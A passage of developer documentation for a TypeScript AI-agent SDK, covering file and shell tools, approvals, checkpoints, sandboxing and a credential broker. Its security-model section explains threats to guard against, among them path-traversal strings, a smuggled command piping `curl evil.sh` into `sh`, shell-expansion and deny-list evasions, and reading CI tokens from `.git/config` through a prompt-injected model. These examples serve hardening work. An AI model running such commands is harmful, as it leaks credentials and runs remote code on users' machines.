  removed in 2.0.

CI compares the reports on every pull request, so a change to the public
surface is always a deliberate, reviewed diff.


# Utilities
Source: https://lousho.com/utilities

Supporting helpers exported from the @lousho/build-ai-agent/utils subpath: encryption and hashing, and file storage for attachments. None of them is needed to build an agent; they are here for the apps around one.

## Encryption and hashing

```ts theme={null}
import { EncryptionUtils, sha256 } from '@lousho/build-ai-agent/utils';

const encryption = new EncryptionUtils('your-secret-key');
const encrypted = await encryption.encrypt('sensitive data'); // fresh random salt every call
const decrypted = await encryption.decrypt(encrypted);        // throws DecryptionError on tampering

const hash = await sha256('password', 'salt');
```

`encrypt()` generates a random salt per call, so ciphertext written by
releases before that change cannot be decrypted and must be re-encrypted (see
the [CHANGELOG](/changelog)).

## File storage

`StorageService` keeps files for one user under a named folder. The `fs` and
`path` modules are injected as adapters, and the Node modules satisfy them
as-is. It is also what `StorageServiceApprovalStore` and
`LocalStorageCheckpointStore` write through.

```ts theme={null}
import { StorageService } from '@lousho/build-ai-agent/utils';
import * as fs from 'node:fs';
import * as path from 'node:path';

// fs/path are injected as adapters; the Node modules satisfy them as-is.
const storage = new StorageService('user-123', 'attachments', fs, path);

await storage.savePlainTextAttachment('Report contents', 'report.txt'); // UTF-8 text
await storage.saveAttachmentFromBase64('JVBERi0xLjQK', 'document.pdf'); // base64 -> binary
// `saveAttachment(file, ...)` is for the browser: its first argument is a `File`
// (it awaits file.arrayBuffer()).
const bytes = storage.readAttachment('document.pdf'); // synchronous; an ArrayBuffer, not a Node Buffer
storage.deleteAttachment('document.pdf');
```


# Vue
Source: https://lousho.com/vue



`useLoushoAgent()` for Vue 3 is the [React hook](/react) as a composable:
the same sources, the same state and the same actions, over the same
[typed event stream](/streaming). Read [React](/react) for what each
field means, the two kinds of source, how approvals work and the server side;
this page covers what differs.

It lives in the `@lousho/build-ai-agent/vue` subpath. `vue` (3.x) is an
optional peer dependency: install it in the app that uses the composable.

```ts theme={null}
import { useLoushoAgent } from '@lousho/build-ai-agent/vue';

// In <script setup>:
const { messages, status, pendingApproval, send, stop, approve, reject, reset } = useLoushoAgent(
  { url: '/api/agent' },
  { approvalsUrl: '/api/approvals' }
);

export async function submit(text: string): Promise<void> {
  if (text.trim() && status.value !== 'streaming') await send(text);
}

export { messages, status, pendingApproval, stop, approve, reject, reset };
```

and in the template:

```html theme={null}
<article v-for="message in messages" :key="message.id">
  <header>{{ message.role }}</header>
  <p>{{ message.text }}</p>
  <code v-for="call in message.toolCalls" :key="call.id">{{ call.name }}: {{ call.status }}</code>
</article>
<p v-if="pendingApproval">
  Run {{ pendingApproval.toolName }}?
  <button @click="approve()">Approve</button>
  <button @click="reject('Not now')">Reject</button>
</p>
<button v-if="status === 'streaming'" @click="stop">Stop</button>
```

## What differs from React

* **State is refs.** `messages`, `status`, `pendingApproval`, `error`, `usage`, `finishReason`,
  `todos`, `partialObject` and `lastEvent` are read-only `ComputedRef`s: use `.value` in script,
  nothing in a template. The commands (`send`, `stop`, `approve`, `reject`,
  `answer`) are plain functions with the React hook's signatures.
* **`reset()`** aborts the run in flight, forgets the in-process session
  (`{ agent, sessionId }` starts a new conversation; a remote `{ url }` source gets a new generated chat id) and clears the state.
* **The source and options can be refs.** Pass a plain object or a `ref`; it is
  read when a turn starts, so a changed `url` or `agent` applies to the next
  turn.
* **Cleanup is scope disposal.** `stop()` aborts the request in flight, and so
  does stopping the owning scope: a component unmounting, or
  `effectScope().stop()` in tests and plain scripts. Called outside any scope,
  the composable has nothing to dispose: call `stop()` yourself.

The reducer and the stream parser are exported from this subpath too
(`reduceAgentEvents`, `initialAgentUIState`, `parseEventStream`), the same
ones as in `@lousho/build-ai-agent/react`.

## Todos

`useTodos(agent)` takes the composable's result and returns one read-only ref
per field of the todo view: `todos`, `counts`, `current` (the `in_progress`
item, else the first `pending` one) and `progress` (`completed / total`). It
shows the plan of an agent with the [todo tools](/tools#todo-tools) live, from
the same stream as the chat (see [React](/react#todos)).

```ts theme={null}
import { useLoushoAgent, useTodos } from '@lousho/build-ai-agent/vue';

// In <script setup>:
const agent = useLoushoAgent({ url: '/api/agent' });
const { todos, counts, current, progress } = useTodos(agent);

export { agent, todos, counts, current, progress };
```

```html theme={null}
<p>{{ counts.completed }} of {{ counts.total }} done ({{ Math.round(progress * 100) }}%)</p>
<p v-if="current">Now: {{ current.content }}</p>
<ul>
  <li v-for="todo in todos" :key="todo.id">{{ todo.status }}: {{ todo.content }}</li>
</ul>
```


# Workspace tools
Source: https://lousho.com/workspace-tools



Workspace tools give an agent a file system and a shell, so you can build
coding agents in the style of Claude Code. The tools never use `node:fs` or
`node:child_process` themselves. They call two small interfaces,
`FsProvider` and `ShellProvider`, so the same tools work against a local
directory, an in-memory tree in tests, a Docker container, or a remote
sandbox such as E2B, Daytona or Cloudflare.
For a walkthrough, see [Build a coding agent](/build-a-coding-agent).

```ts theme={null}
import { createAgent, NodeWorkspace, createFsTools, createShellTool } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({ root: './project' }); // every path is confined to this directory
const agent = createAgent({
  instructions: 'You are a careful coding assistant. Run the tests after every change.',
  provider,
  tools: [...createFsTools(workspace), createShellTool(workspace)],
});

// The shell tool needs approval by default, so the run pauses before any command runs.
const paused = await agent.send('Fix the failing test in src/math.test.ts');
if (paused.finishReason === 'awaiting-approval') {
  // A human decides, then the command runs (or is rejected) and the run continues.
  const result = await agent.approvals.resolve({ id: paused.approvalId!, approved: true });
}
```

`send()` resolves with `finishReason: 'awaiting-approval'` and
`agent.approvals.resolve()` runs (or rejects) the command and continues (see
[Approvals](/approvals)). To let some commands run without asking, pass
`needsApproval: false` together with an `allow` list, or a `needsApproval`
predicate that returns `false` for the commands you trust.

```ts theme={null}
import { createAgent, NodeWorkspace, createFsTools, createShellTool } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({ root: './project' });
const agent = createAgent({
  instructions: 'You are a careful coding assistant. Run the tests after every change.',
  provider,
  tools: [
    ...createFsTools(workspace),
    // { command } allows exactly that command line, with no extra arguments.
    createShellTool(workspace, { needsApproval: false, allow: [{ command: 'npm test' }, { command: 'npm run lint' }, { command: 'git status' }] }),
  ],
});
const result = await agent.send('Fix the failing test in src/math.test.ts');
```

A plain string such as `'npm test'` would also allow `npm test -- <anything>`,
and many programs have flags that write files (`git diff --output=../x`,
`node --test --test-reporter-destination=../x`). See the rules below.

### Advanced: the executor API

`createAgent()` runs `AgentExecutor` underneath (see
[The executor API](/executor-api)). To own the wiring yourself,
register the tools in a `ToolRegistry` and call the executor; the pause is
the same, and `resumeAfterApproval(...)` is what `agent.approvals.resolve()`
calls once a human approves:

```ts theme={null}
import { AgentExecutor, ToolRegistry } from '@lousho/build-ai-agent/executor';
import { NodeWorkspace, createFsTools, createShellTool } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({ root: '.' }); // every path is confined to this directory
const registry = new ToolRegistry();
registry.registerMany([...createFsTools(workspace), createShellTool(workspace)]);

// The shell tool needs approval by default, so the run pauses before any command runs.
const paused = await AgentExecutor.execute({ agent, input, provider, toolRegistry: registry, approvalStore });
// paused.finishReason === 'awaiting-approval' -> resumeAfterApproval(...) once a human approves
```

## The tools

`createFsTools(fs, options?)` returns these `defineTool` tools:

| Tool | Arguments | Returns |
| - | - | - |
| `read_file` | `path`, optional `offset` (1-based line), `limit` | Numbered lines (`"    12\tcode"`). When the output is cut, the last line says which lines were shown and the `offset` to continue from. Files over 10 MB are refused. |
| `write_file` | `path`, `content` | Creates or overwrites the file and creates missing parent directories. |
| `edit_file` | `path`, `old_string`, `new_string`, optional `replace_all` | Replaces the exact text. Fails with a message the model can act on when `old_string` is missing (including a hint about CRLF line endings) or appears more than once without `replace_all`. When `old_string` is missing but a non-empty `new_string` is in the file, the edit was already applied (a call re-run after a crash): it succeeds without writing and says so. Refuses a file that is not UTF-8 (latin1, Windows-1252, UTF-16) and leaves it unchanged, when the provider has `readFileBytes` (as `NodeWorkspace` does). A UTF-8 BOM is kept. |
| `list_dir` | optional `path` | Sorted entries; directories end with `/`. |
| `glob` | `pattern`, optional `path` | Sorted paths of matching files. `*` stays within one directory, `**` crosses directories, plus `?`, `[abc]` and `{a,b}`. |
| `grep` | `pattern` (JavaScript regex), optional `path`, `glob`, `ignore_case` | `path:line: text` for each matching line. An invalid regex, or one with nested repetition like `(a+)+`, is a tool error. Binary files and files over 2 MB are skipped. |

| Option | Default | Meaning |
| - | - | - |
| `readOnly` | `false` | Only create `read_file`, `list_dir`, `glob` and `grep`. |
| `needsApproval` | none | Per tool: `{ write_file: true, edit_file: ({ path }) => !path.startsWith('src/') }`. |
| `maxReadLines` | 2000 | Most lines `read_file` returns per call. |
| `maxOutputChars` | 50,000 | Most characters a tool returns per call. |
| `maxResults` | 200 | Most paths, matches or entries `glob`, `grep` and `list_dir` return. |
| `maxFilesScanned` | 20,000 | Most files a `glob` or `grep` walk visits. |
| `grepTimeoutMs` | 10,000 | Milliseconds `grep` may spend matching its regex across all files; time spent reading files does not count. A slow pattern stops with an error naming how many files were scanned. |
| `ignore` | `['.git', 'node_modules']` | Directory names `glob` and `grep` skip. |
| `deny` | `['.git', '.env', '.env.*']` | Entry names no tool reads, lists, searches or writes, at any depth. A trailing `*` is a prefix. A path through one is a tool error. `[]` turns it off. See [Security model](#security-model). |
| `checkpoints` | none | A `WorkspaceCheckpoints`: back up every file `write_file` and `edit_file` change, so the changes can be rewound (see below). |

`createShellTool(shell, options?)` returns one tool, `shell`, that takes
`command` and an optional `timeout_ms`. It returns
`{ exitCode, stdout, stderr }`. When the command was killed, the result also
has `timedOut: true` or `aborted: true` and a `note` saying why.

| Option | Default | Meaning |
| - | - | - |
| `needsApproval` | `true` | `true`, `false`, or a predicate over the command string. |
| `allow` | none | When set, only matching commands may run. A string allows the command with arguments that stay in the workspace and need no `$`/`{}` expansion; see the rules below. |
| `deny` | none | Matching commands are refused. |
| `defaultTimeoutMs` | 120,000 | Timeout when the model does not pass `timeout_ms`. |
| `maxTimeoutMs` | 600,000 | A larger `timeout_ms` is lowered to this value. |
| `maxOutputChars` | 30,000 | Per stream. Beyond this the start and end of the output are kept and the middle is replaced by a marker. |
| `cwd`, `env` | none | Working directory (relative to the workspace) and extra variables for every command. |
| `name` | `'shell'` | Tool name. |

```ts theme={null}
import { createShellTool, NodeWorkspace } from '@lousho/build-ai-agent';

const shell = createShellTool(new NodeWorkspace({ root: '.' }), {
  needsApproval: (command) => !/^(ls|cat|git (status|diff|log))\b/.test(command), // read-only commands run without asking
  deny: ['rm -rf', /\bsudo\b/],
  defaultTimeoutMs: 60_000,
});
```

Cancelling the run (`agent.send(input, { signal })` or
`AgentExecutor.execute({ signal })`) kills the running command together with
every process it started: a process group on Linux and macOS, and
`taskkill /T` on Windows.

To undo what the agent did to the files, pass a `WorkspaceCheckpoints` to
`createFsTools(fs, { checkpoints })`. Before `write_file` or `edit_file`
changes a file, the old content (and its permission bits, when the provider
has `getMode` and `chmod`, as `NodeWorkspace` does) is recorded under the run's
session and turn. A turn is the 0-based index of the user message the tool
call answers: the first `session.send()` is turn 0, the next is turn 1.
`checkpoints.list({ sessionId })` returns the turns with changes and the paths
each one changed. `checkpoints.rewind(toTurn, { sessionId })` puts every file
changed in turn `toTurn` or later back as it was before `toTurn`: a file the
agent created is deleted, one it edited or overwrote gets its content back.
With `dryRun: true` it changes nothing and returns the same report.

```ts theme={null}
import { createAgent, createFsTools, MemoryWorkspace, WorkspaceCheckpoints } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';

const workspace = new MemoryWorkspace({ files: { 'notes.md': '# Notes\n' } });
const checkpoints = new WorkspaceCheckpoints(workspace); // backups in memory; FileWorkspaceCheckpointStore keeps them on disk
const agent = createAgent({
  instructions: 'You edit files in the workspace.',
  provider: mockModel([
    { toolCalls: [{ name: 'edit_file', args: { path: 'notes.md', old_string: '# Notes', new_string: '# Plan' } }] },
    'Renamed the heading.',
    { toolCalls: [{ name: 'write_file', args: { path: 'todo.md', content: '- ship it\n' } }] },
    'Added a to-do list.',
  ]),
  tools: createFsTools(workspace, { checkpoints }),
});

const session = agent.session();
await session.send('Rename the heading to Plan'); // turn 0
await session.send('Start a to-do list'); // turn 1
console.log(await checkpoints.list({ sessionId: session.id }));
// [{ turn: 0, paths: ['notes.md'] }, { turn: 1, paths: ['todo.md'] }]

const preview = await checkpoints.rewind(0, { sessionId: session.id, dryRun: true });
console.log(preview); // { dryRun: true, restored: ['notes.md'], deleted: ['todo.md'], skipped: [] }
await checkpoints.rewind(0, { sessionId: session.id });
console.log(workspace.snapshot()); // { 'notes.md': '# Notes\n' }
```

A file whose content is no longer what the agent last wrote there was changed
by something else (you, an editor, the `shell` tool), so rewind leaves it
alone and reports it in `skipped` as `'changed-since'`; pass `force: true` to
restore it anyway. A path that exists but is not a file (a directory, say) is
skipped as `'not-a-file'`. Every path is checked before anything is written, and
restores go through the same provider, so `NodeWorkspace` keeps them inside
the root, symlinks included. A real rewind then forgets the backups of the
rewound turns, skipped files' included, so a second rewind does nothing:
look at the dry run first. Directories the agent created stay (empty) after
their files are deleted. The conversation is not rewound; to branch it as
well, fork the session with `session.fork({ fromStep })` (see
[Forking a session](/sessions#forking-a-session); a step's `turn` in
`session.history()` is the turn number used here), or a single run with
`agent.fork()` (see [Fork and replay](/durable-execution#fork-and-replay)).

Backups survive a crash. The backup is stored before the file is written, so
a process killed between the two loses nothing: the file still holds the
backed-up content, and rewind treats it as nothing to undo. A tool call that
was running when the process died runs again on resume (see
[At-least-once tools](/durable-execution#at-least-once-tools-make-side-effects-idempotent));
the re-run finds the turn's backup of that path and keeps it, so `rewind()`
restores the content from before the first attempt, not the agent's own
half-finished write. A `write_file` or `edit_file` that would leave the file
as it is (the same content, an edit already applied) records and writes
nothing.

What is not tracked: changes made by the `shell` tool, files written by a
sub-agent with its own file tools (unless it gets the same
`WorkspaceCheckpoints`, in which case they are recorded under its own
session id), and files larger than `maxFileBytes` (default 1,000,000 bytes):
those are reported as `'too-large'` and never deleted. Without a session,
every `agent.send()` is turn 0 of the session `'default'`, so use
`agent.session()` to rewind by turn. Turns are counted in the transcript the
model sees, so after a compaction removes old user messages the numbering
of later turns shifts.

Backups do not grow without bound. Only the newest `maxTurns` turns of each
session are kept (default 20; `rewind()` to an older turn throws); a file
over `maxFileBytes` is not copied; when one turn writes a path several
times, only the first write keeps the old content (the later ones keep a
hash, for the audit trail); a rewind drops the backups it rewound; and
`checkpoints.clear({ sessionId })` forgets a session. The default store keeps
backups in memory. `new FileWorkspaceCheckpointStore(dir)` writes one JSON
file per session, atomically (temp file, then rename), so a rewind works after
a restart; implement `WorkspaceCheckpointStore` to keep them elsewhere. File
content lives only in the store, never in events or traces.

## Security model

Read this before you give a model a shell.

### What is enforced

**Paths stay inside the root.** Before any file is touched, `NodeWorkspace`
(and `MemoryWorkspace`) normalizes each path. These are rejected on every
platform:

* `..` that climbs above the root (`../secret`, `src/../../secret`)
* absolute paths (`/etc/passwd`, and an absolute path that points inside the root)
* Windows drive letters (`C:\Windows`, `C:secret`)
* UNC and extended-length paths (`\\server\share`, `//server/share`, `\\?\C:\`)
* NUL bytes

Backslashes count as separators everywhere, so mixing separators
(`src/..\..\secret`) cannot hide a `..`. On Windows, `:` (alternate data
streams), reserved device names (`CON`, `NUL`, `COM1`, ...) and segments made
only of dots and spaces (Windows drops trailing dots and spaces, so `.. `
would act as `..`) are rejected too.

**Symlinks cannot escape.** After that check, `NodeWorkspace` resolves the
path with `realpath`. If the path does not exist yet, it resolves the deepest
part that does exist. The result must still be inside the root's own real
path. This means:

* A link inside the root that points outside it is rejected for reads, and
  for writes to files that do not exist yet (`escape-link/new.txt`).
* A link whose target does not exist is never followed, because writing
  through it could create a file outside the root.
* `glob` and `grep` never follow links while walking the tree.
* `rm` on a link removes the link itself and leaves its target alone.

**Writes are atomic.** `NodeWorkspace` writes a file (for `write_file` and
`edit_file` too) to a temp file in the same directory, flushes it and renames
it over the target, so a process killed mid-write leaves the old file or the
new one, never half of it. A replaced file keeps its permission bits, and a
read-only file is still refused.

**The file tools keep out of `.git`.** A checkout often has credentials in
`.git/config`: `actions/checkout` keeps the job's token there as
`http.https://github.com/.extraheader = AUTHORIZATION: basic ...`, and a
model that can read it can leak the token in its answer. In a git worktree,
`.git` is a file that names the host path of the main repository. So
`read_file`, `list_dir`, `glob`, `grep`, `write_file` and `edit_file` refuse
any path with a `.git` segment, at any depth (`.git/config`, `sub/.git`), and
`glob`, `grep` and `list_dir` leave `.git` entries out of their results, even
with `ignore: []`. The check runs after normalization, so `./.git`,
`a/../.git`, `.git\config` and `.git/` are refused too. Names compare
case-insensitively (`.GIT`), trailing dots and spaces are ignored (Windows
opens `.git.` as `.git`), and on Windows 8.3 short names such as `GIT~1` are
refused. `.gitignore` and `.github/` are not affected.

The default list also covers `.env` and `.env.*` (`.env.local`,
`.env.production`), so a prompt-injected model cannot read secrets from them.
`.env.example`, `.env.sample` and `.env.template` stay readable. An entry
ending in `*` is a prefix match that spares those three template suffixes.
A `deny` you pass **replaces** the defaults, it does not extend them: list
`.git` and `.env` again, for example `deny: ['.git', '.env', '.env.*',
'secrets']` (entry names, not paths), or pass `deny: []` to turn the check off.

```ts theme={null}
import { createFsTools, NodeWorkspace } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({ root: '.' });
const tools = createFsTools(workspace, { readOnly: true, deny: ['.git', '.env', '.env.*'] });
```

Links into `.git` are refused too. With `NodeWorkspace` (or any provider that
implements `realPath`), the check also runs on where a path really leads, so a
symlink or Windows junction elsewhere in the workspace that points at `.git`
or into it (`gitj -> .git`, `hooks -> .git/hooks`, `cfg -> .git/config`)
cannot be used to read, write or edit what is behind it: `read_file
gitj/config`, `edit_file gitj/config` and `write_file gitj/PWNED` are tool
errors, and so are `list_dir`, `glob` and `grep` given the link as their
`path` (`grep` with `path: 'gitj'` or `path: 'gitj/config'`). `glob` and
`grep` never follow links while walking the tree, so a search from the root
does not reach `.git` through a link either. A provider without `realPath`
(`MemoryWorkspace` has no links) gets the name check only.

**The `shell` tool is not covered:** a command
is free text, so it cannot be path-filtered, and `cat .git/config` or
`git config --get-regexp extraheader` still works. Git commands that coding
agents need (`git status`, `git diff`) go through the shell tool, so keep its
`allow` list to the git commands you mean. In CI, also pass
`persist-credentials: false` to `actions/checkout` when the job does not push.

**Rejections are tool errors.** A refused path, a missing file or an
ambiguous edit throws a `WorkspaceError` inside the tool. The model receives
`{ "error": "WorkspaceError", "toolName": "read_file", "message": "..." }`
and the run continues. Messages show the workspace path, never the host
path.

**Commands get a minimal environment.** `NodeWorkspace` runs commands with
`cwd` set to the root. It does not pass on the parent process's environment.
Only `PATH`, `HOME`, `USERPROFILE`, `TEMP`, `TMP`, `TMPDIR`, `LANG`, `LC_*`
and `TERM` are copied, plus `SystemRoot`, `SystemDrive`, `ComSpec`,
`PATHEXT` and `WINDIR` on Windows, because a shell needs them to start. So
`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, cloud credentials and other secrets
in your server's environment are not visible to commands the model writes,
and `env` or `printenv` cannot reveal them. To give commands more, either
pass values (`env: { GITHUB_TOKEN: scopedToken }`) or name host variables to
copy (`inheritEnv: ['CI']`). Anything you pass this way is visible to the
model. `inheritEnv: true` passes the whole host environment, as before
this default existed; use it only for commands you trust. On Windows,
Node's process launcher also adds the session variables every process needs
(`HOMEDRIVE`, `HOMEPATH`, `USERNAME`, `USERDOMAIN`, `LOGONSERVER`); none of
them is a secret.

```ts theme={null}
import { NodeWorkspace } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({
  root: './project',
  env: { NODE_ENV: 'test' },        // added for every command
  inheritEnv: ['CI', 'NODE_OPTIONS'], // copied from the host environment
});
```

`root` must already exist: the constructor resolves it with `realpath` and
throws a `ConfigurationError` when the path is missing, empty or not a
directory — it never creates it. The kept `workspace.root` is the real,
absolute path.

**The shell tool needs approval by default.** Unless you choose otherwise,
every command waits for a human. `allow` and `deny` are checked first, so a
refused command is never offered for approval:

* A string pattern matches a command that is exactly the pattern, or starts
  with it followed by a space (`'git status'` matches `git status -s`).
  A string pattern allows the command with ordinary arguments, but not with a
  path that leaves the working directory: a `..` segment, `~` or an absolute
  path, anywhere in the command including a `--flag=value`. This holds when
  the path is quoted (`cat "../x"`, `cat '..'/x`, `type "c:\windows\win.ini"`),
  escaped under sh (`cat .\./x`) or a glob that can expand to `..`
  (`cat .?/x`). A command with `$`, `{` or `}` is refused too, since the
  shell expands it to text the check cannot see (`cat $HOME/.gitconfig`,
  `cat ${IFS}../x`, `cat {..,x}/secret.txt`). So `allow: ['node --test']`
  does not allow `node --test --test-reporter-destination=../x`. To allow
  arguments like these, use a `CommandRule` or an anchored RegExp. A string
  pattern is still not a full security boundary for what a program does with
  its arguments (a config file it reads, a script it runs), so prefer a
  `CommandRule` that pins them.
* A `CommandRule` object pins the arguments. `{ command: 'npm test' }`
  matches `npm test` and nothing else. `{ command: 'node --test', args }`
  matches when the command starts with `node --test` and `args(rest)`
  returns `true` for the rest of the line (`''` when there is none):

  ```ts theme={null}
  import { createShellTool, NodeWorkspace } from '@lousho/build-ai-agent';

  const workspace = new NodeWorkspace({ root: '.' });
  createShellTool(workspace, {
    needsApproval: false,
    allow: [
      { command: 'npm test' },
      { command: 'node --test', args: (rest) => /^([\w./-]+\.test\.js\s*)*$/.test(rest) },
    ],
  });
  ```
* In `allow`, a command matched only by a string pattern or a `CommandRule`
  must not contain shell operators (`;` `&` `|` `` ` `` `$(` `<` `>` or a
  newline). Under cmd.exe, `%` (variable expansion) and `^` (escape) count as
  operators too. This stops `git status; curl evil.sh | sh` from passing as
  `git status`.
* A RegExp is tested against the whole command line, so anchor it:
  `/^npm (test|run lint)$/`.
* `deny` string patterns and `CommandRule`s are checked against each `;`,
  `&` or `|` separated part of the command.

The tool's description tells the model which shell runs its commands when the
provider says so (`NodeWorkspace` and `SandboxShell` expose a `shell`
property). On Windows `NodeWorkspace` uses cmd.exe, so the model is told to
quote with double quotes and write variables as `%NAME%`. A provider that
does not name its shell is treated as cmd.exe for the operator check on
Windows.

### What is NOT enforced

* **`NodeWorkspace`'s shell is not a sandbox.** Path confinement applies to
  the file tools only. A command runs as your OS user and can read, write or
  delete anything that user can, including `../` and `~/.ssh`, and it can use
  the network. Approval and `allow` lists reduce the risk, but they are not
  isolation. For untrusted input, such as prompts from the public or content
  fetched from the web, give the shell tool a sandbox-backed `ShellProvider`
  (see below) and use the file tools with `readOnly: true` or approval.
* **A deny list is a convenience.** A shell has many ways to write the same
  command (`r''m -rf`, `$(echo rm)`, an extra space, a script file), so do not
  rely on `deny` for security. Use `allow` for that.
* **Races and hard links.** Paths are checked, then used. A process that
  swaps a directory for a symlink between those two steps can get around the
  check. Such a process already has local access, for example a command the
  shell tool ran without a sandbox. A hard link inside the root to a file
  outside it cannot be detected.
* **`grep` runs the model's regex, so it is fenced in.** A pattern that
  repeats a group which already repeats (`(a+)+`, `(\w+\s*)*`) is refused as a
  tool error, since it can take exponential time. Each line is tested on its
  first 2,000 characters. The matching runs in a worker thread with a 10 s
  budget per call: a slow pattern is stopped with a tool error, an abort stops
  it at once, and the event loop stays free meanwhile. Where
  `node:worker_threads` is unavailable, matching runs inline.

### Sandboxed shell: `SandboxShell`

`SandboxShell` adapts any `SandboxAdapter`, for example the Docker-backed
`SubprocessSandbox`, into a `ShellProvider`. Each command runs as
`sh -c "<command>"` in a new container with no network. The container sees
only `cwd`, which is bind-mounted at the same path. It gets only the `env`
you pass, nothing from the host. File tools can keep using `NodeWorkspace`
on the same directory:

```ts theme={null}
import { createFsTools, createShellTool, NodeWorkspace, SandboxShell, SubprocessSandbox } from '@lousho/build-ai-agent';

const workspace = new NodeWorkspace({ root: './project' });
const shell = new SandboxShell(new SubprocessSandbox({ image: 'node:20-alpine' }), { cwd: workspace.root });
const tools = [...createFsTools(workspace), createShellTool(shell, { needsApproval: false })];
```

**Environment and network.** `SandboxShell` takes the same `env` and
`inheritEnv` options as `NodeWorkspace`. A container gets only those
variables: never the host environment, and not the host's `PATH` or `HOME`
either, because the image brings its own. With `NoopSandbox` (which runs on
the host) a command gets the same small base `NodeWorkspace` uses, plus
your variables; `inheritEnv: true` restores the whole host environment
there, but a container still never receives it.

`SubprocessSandbox` takes a `network` policy:

| `network` | What the container gets |
| - | - |
| `'none'` (default) | No network at all (Docker `NetworkMode: 'none'`). |
| `'default'` | Docker's default network: unrestricted egress. |
| `{ allow: ['api.github.com', '*.npmjs.org'] }` with a `broker` | Only these hosts, through the [credential broker](#credential-broker). See below. |
| `{ allow: [...] }` without a `broker` | No network (fails closed). |

Host names are checked when the sandbox is constructed, so a URL or a
malformed name throws; the validated list is kept on `sandbox.network`.

#### Allowlisted egress: `network: { allow }` with a broker

Docker cannot filter outgoing traffic by host name by itself, so an `allow`
list is only enforced when a proxy is the container's only way out.
`SubprocessSandbox` builds that with Docker's own primitives:

1. On the first `run()` it creates an **internal** bridge network
   (`Internal: true`, no IPv6, label `com.lousho.sandbox=egress`), named
   `networkName` or `lousho-egress-<random>`. An internal network has no
   route off the bridge. If a network with that name exists, it is reused,
   but only if it is internal.
2. The broker gets a second listener on that network's gateway address,
   which on Docker Engine for Linux is the host's own interface on the
   bridge. It accepts connections only from the network's subnet (any other
   peer is dropped before a byte is read), so it is not an open proxy on the
   host's other interfaces. Its allowlist is the broker's rule hosts plus the
   sandbox's `allow` list. The broker's own `allow` option and its loopback
   listener are unchanged.
3. Every container joins that network with `HTTP_PROXY`/`HTTPS_PROXY` (and
   lower-case forms) set to the gateway listener, merged over the `env` you
   pass. `NO_PROXY` holds only the gateway address, so
   `$HTTP_PROXY/__broker/<host>/<path>` (the path form that adds credentials)
   reaches the broker directly; it gives no other bypass, because nothing
   else is reachable.
4. `sandbox.close()` stops the listener and removes the network if this
   sandbox created it. An aborted or timed-out run removes its container as
   before; the network stays for the sandbox's next run until `close()`.

```ts theme={null}
import { createCredentialBroker, createShellTool, SandboxShell, SubprocessSandbox } from '@lousho/build-ai-agent';

const token = 'ghp_example'; // read from your secret store; it never enters the container
const broker = await createCredentialBroker({ rules: { 'api.github.com': { authorization: () => `Bearer ${token}` } } });
const sandbox = new SubprocessSandbox({ image: 'node:20-alpine', network: { allow: ['registry.npmjs.org'] }, broker });
const tool = createShellTool(new SandboxShell(sandbox, { cwd: '/abs/path/to/project' }), { needsApproval: false });
// ... run the agent with `tool` ...
await sandbox.close();
await broker.close();
```

What this enforces, and where:

* **Docker Engine on Linux, with the agent on the same host: enforced.** The
  container can reach the gateway address and nothing past the bridge. DNS:
  the container resolves no outside names itself (Engine 25.0.5 and later do
  not forward DNS from internal networks, CVE-2024-29018; older Engines are
  refused), so names go to the proxy, which resolves them on the host after
  the allowlist check. Raw IP connections have no route. Non-HTTP protocols
  (SSH, raw TCP, UDP) are blocked, because only the proxy is reachable, and
  `CONNECT` tunnels are checked against the allowlist like any request.
  This is tested against a real daemon: CI's `compat` job
  (`npm run test:docker`) runs on GitHub's
  `ubuntu-latest` runner (rootful Docker Engine 28.0.4 on Ubuntu 24.04 when
  it was added) and checks that an allowed host answers through the broker,
  that other hosts get a 403, that bypassing the proxy or dialling a raw IP
  has no route, that the container resolves no outside names, that the
  broker adds credentials the container never sees, that a container outside
  the network cannot use the gateway listener, that `close()` and an aborted
  run leave no network or container behind, and that a reused non-internal
  network is refused.
* **Docker Desktop (Windows, macOS, and Desktop on Linux): refused.**
  Containers run in a VM, so the host has no address on the internal
  network. `host.docker.internal` reaches the host only from non-internal
  networks, which would also reach everything else. `run()` rejects with
  [`LOUSHO_SANDBOX_EGRESS_UNSUPPORTED`](/errors#lousho_sandbox_egress_unsupported)
  and starts no container. So do rootless Docker (the bridge lives in its
  own network namespace), a daemon on another machine (the broker cannot
  bind the gateway address), a reused network that is not internal, and an
  Engine older than 25.0.5.
* **Other services on the host's bridge address.** A container on an
  internal network can reach any host service that listens on the gateway
  address or on all addresses (`0.0.0.0`). Bind host services to
  `127.0.0.1`, or firewall the bridge subnet to the broker's port only. A
  host firewall that drops traffic from the bridge (a strict `INPUT` policy)
  blocks the broker too: runs then fail to connect, they do not get open
  egress.
* **Host commands are still not firewalled.** A `NodeWorkspace` or
  `NoopSandbox` command can ignore the proxy variables; see the credential
  broker notes below.

These guarantees come from Docker's documented behavior of internal networks;
the SDK's tests exercise the wiring against a fake Docker client, not a live
daemon.

```ts theme={null}
import { createShellTool, SandboxShell, SubprocessSandbox } from '@lousho/build-ai-agent';

const sandbox = new SubprocessSandbox({ image: 'node:20-alpine', network: 'none' });
const shell = new SandboxShell(sandbox, {
  cwd: '/abs/path/to/project',
  env: { NODE_ENV: 'test' }, // set for every command
  inheritEnv: ['CI'],        // copied from the host environment
});
const tool = createShellTool(shell, { needsApproval: false });
```

What this does not cover: a value you pass in `env` or `inheritEnv` is
readable by the model's commands, and `network: 'default'` lets a command
send it anywhere. Keep long-lived secrets out of both; use the credential
broker below instead.

When the run is aborted, `SandboxShell` passes the abort signal to the adapter.
`SubprocessSandbox` then kills and removes the container and the shell tool
reports `aborted: true`; a signal that is already aborted starts no container.
An adapter that ignores `SandboxRunOptions.signal` is no longer waited on, but
its command keeps running until its timeout; the shell tool always sets one.

### Credential broker

A command the model runs (`git`, `curl`, a script) sometimes has to call an
authenticated API, but any token in its environment is readable by the
model. `createCredentialBroker()` keeps the token on the host: it starts a
local HTTP proxy that adds the auth headers to requests for the hosts you
name, so the command only ever sees the proxy's address.

```ts theme={null}
import { createCredentialBroker, NodeWorkspace } from '@lousho/build-ai-agent';

const token = 'ghp_example'; // read from your secret store; never passed to the command
const broker = await createCredentialBroker({
